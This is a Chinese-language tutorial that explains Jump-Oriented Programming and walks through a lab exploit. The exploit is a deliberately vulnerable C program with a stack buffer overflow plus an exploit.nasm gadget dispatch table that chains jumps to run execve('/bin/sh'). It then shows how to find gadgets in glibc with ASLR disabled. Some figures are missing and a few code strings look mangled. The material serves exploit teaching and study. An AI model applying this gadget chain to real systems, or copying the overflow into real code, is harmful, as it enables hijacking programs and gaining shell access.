JOP代码复用攻击解析


 一.什么是jop?
jop,全称Jump-Oriented Programming,中文译为面向跳转编程,是代码重用攻击方式的一种。在2011年,北卡罗来纳州立大学的Tyler Bletsch等人首次提出这一概念。其实际上是在代码空间中寻找被称为gadget的一连串目标指令,且其以jmp结尾。下图展示了jop原理。

 
Dispatcher是形如下列形式的代码块
pcßf(pc);
jmp pc;
pc可以是任意地址或寄存器,用其作为跳转目标。f(pc)表示对pc进行的操作,以下是一个例子。
inc eax;
jmp eax;
比如说首次跳转到了dispatch table的第一项,将会在执行一些指令后通过结尾处的jmp跳转回Dispatcher处,此时执行inc eax,eax值已改变,再次跳转就可以调到其他地方执行相应指令。而这些gadget的图灵完备性已被证明,也就是说,我们能通过这些gadget达到几乎所有目的。那么,让我们开始吧!
 
二.通过jop执行/bin/sh(简单版)
系统环境
主机OS      :     4.4.0-116-generic内核Ubuntu 16.04  i686
 CPU           :      Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz
首先,我们来完成一个最简版本的jop攻击。
漏洞代码vul.c
#include  
#include  
#include  
#include  
#include  
#include  
#include  
 
char* executable="/bin//sh"; 
char* null=""; 
FILE * fd; 
 
void attack_payload () { 
asm(".intel_syntax noprefix"); 
//dispatcher 
asm("add ebp,edi; jmp [ebp-0x39];"); 
 
//initializer 
asm("popa; jmp [ebx-0x3e];"); 
 
//g00 
asm("popa; cmc; jmp [edx];"); 
//g01 
asm("inc eax; cmc; jmp [edx];"); 
//g02 
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];"); 
//g03 
asm("inc ebx; stc; jmp [edx];"); 
//g07 
asm("popa; call dword ptr [ecx];"); 
//g08 
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];"); 
//g09 
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];"); 
//g0a 
asm("int 0x80"); 
 
asm(".att_syntax noprefix"); 

 
void overflow() { 
  char buf[256]; 
  fscanf(fd,"%[^n]",buf); 
  return; 

 
int main(int argc, char** argv) { 
  char* filename = "exploit"; 
  if(argc>1) filename = argv[1]; 
  fd=fopen(filename, "r"); 
  overflow(); 

在此版本的演示中,所有gadget均由内联汇编直接写入,无需在代码空间中寻找。
攻击最终要执行execve(“/bin/sh”,argv,envp),函数原型为
int execve(const char *filename,char * const argv[],char * const envp[]); 
若要通过int  80执行它,需要有四个寄存器的参与:eax寄存器传递系统调用号0xb,ebx寄存器传递“/bin/sh”字符串的地址,ecx寄存器传递参数argv,edx寄存器传递环境变量envp。为此需要合理设置eax、ebx、ecx、edx等4个寄存器的值。具体步骤如下
 = 1 * GB3 ①popa ; jmp  *-0x3e(%ebx)
缓冲区溢出会在相应位置设置好数据,popa将会将栈顶所有数据弹出到相应寄存器,
栈帧指向buff字符串,然后跳转至攻击起始处,即第二步。
 
 = 2 * GB3 ②add  %edi,%ebp; jmp  *-0x39(%ebp)
这时攻击开始,此处ebp寄存器即对应图4.2.5中的PC,edi寄存器已在上一步被设置为偏移量-4,跳转到相应步骤,第一次将会跳到第三步。
 
= 3 * GB3 ③popa ; …… ; jmp *(%edx)
由于execve()的调用号为0x0000000b,包含’’,无法直接通过缓冲区溢出写入eax寄存器,所以将会分阶段写入。这一步中,将会用popa设置相应寄存器,为写入做准备,准备好一个中间变量,置为0xEEEEEE0b。将eax寄存器置为-1,并通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第四步。
 
 = 4 * GB3 ④inc %eax ; ……; jmp *(%edx)
这一步将eax寄存器加一,为后面的写入做准备,通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第五步。
 
= 5 * GB3 ⑤mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
此时ah=0x00,mov操作将把中间变量中的第5,6位0xEE置为0x00, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第六步。
 
 = 6 * GB3 ⑥ inc %ebx ; …… ; jmp *(%edx)

ebx寄存器加一,为下一步设置中间变量做准备, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第七步。
 
 = 7 * GB3 ⑦ mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作将把中间变量中的第3,4位0xEE置为0x00, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第八步。
 
 = 8 * GB3 ⑧ inc %ebx ; …… ; jmp *(%edx)
ebx寄存器加一,为下一步设置中间变量做准备, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第九步。
 
 = 9 * GB3 ⑨mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作将把中间变量中的第1,2位0xEE置为0x00, 中间变量此时为0x0000000b,通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第十步。
 
= 10 * GB3 ⑩popa ;…… ; jmp *(%ecx)
成功设置中间变量后,再次设置相应寄存器,通过ecx寄存器跳转回第二步,执行之后步骤。
 
 ⑪xchg  %eax,%ecx ;……; jmp  *-0xf(%esi)
由于上一步需要ecx寄存器做跳转,故交换eax,ecx, 通过esi寄存器跳转回第二步,执行之后步骤。
 
⑫这个步骤无间接跳转,将会把eax寄存器设置为中间变量值0xb,然后传递系统调用号,此时ebx寄存器指向“/bin/sh”,陷入80中断,执行/bin/sh
exploit是由exploit.nasm文件生成的二进制文件,用作缓冲区溢出的输入。

需要注意的只是它的前21行。
将vul.c编译为可执行文件
gcc -g -fno-stack-protector -o vul vul.c
用gdb查看各地址

填入exploit.nasm
start:
; Constants:
base:                    equ 0xbfffef40           ; Address where this buffer is loaded under gdb
dispatcher:          equ 0x08048449        ; Address of the dispatcher gadget
initializer             equ dispatcher+5       ; Address of initializer gadget
to_executable:           equ 0x08048590        ; Points to the string “/bin/sh”
to_null:         equ 0x08048599        ; Points to a null dword (0x00000000)
buffer_length:            equ 0x100           ; Target program’s buffer size.
 
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52                    ; int 0x80
g09: dd dispatcher+43                   ; mov eax, [esi+0xc]          ; mov [esp], eax  ; call [esi+0x4]
g08: dd dispatcher+37                   ; xchg ecx, eax          ; fdiv st, st(3)      ; jmp [esi-0xf]
g07: dd dispatcher+33                   ; popa                         ; cmc                   ; jmp [ecx]
g06: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g05: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]
g04: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g03: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]

 

g02: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g01: dd dispatcher+14                  ; inc eax               ; fdivr st(1), st     ; jmp [edx]
g00: dd dispatcher+9                     ; popa                         ; fdivr st(1), st     ; jmp [edx]
生成exploit

gdb下运行vul,执行/bin/sh

 
三.进阶
以上例子可以作为jop的一个例子,但实际上不能真实反映其特点。jop 的gadget并不直接存在于当前存在的指令中,而是依赖于对于opcode的另一种解读,如glibc-2.19中,有如下源码:

但使用ROPgadget对其进行gadget提取结果如下:

实际从0x683c7处开始将其解读为
D5 FF            aad 0xff
FF                  jmp ecx
因此,我们需要去掉内联汇编,直接在代码空间中寻找gadget。
为此,我们需要使用ROPgadget工具。
sudo pip install ropgadget
我们将在libc中寻找gadget。查看其路径并进行查找。

在gadget.txt中就能查找到各gadget的相对地址。





 为了计算其绝对地址,我们关闭地址随机化。

显然有system_addr – system_libc = xx_addr – xx_libc
反汇编查看可得system_libc

gdb可打印system地址

则可计算各绝对地址,填入exploit.nasm.

再次生成exploit,gdb下运行。

至此,演示以全部完成。

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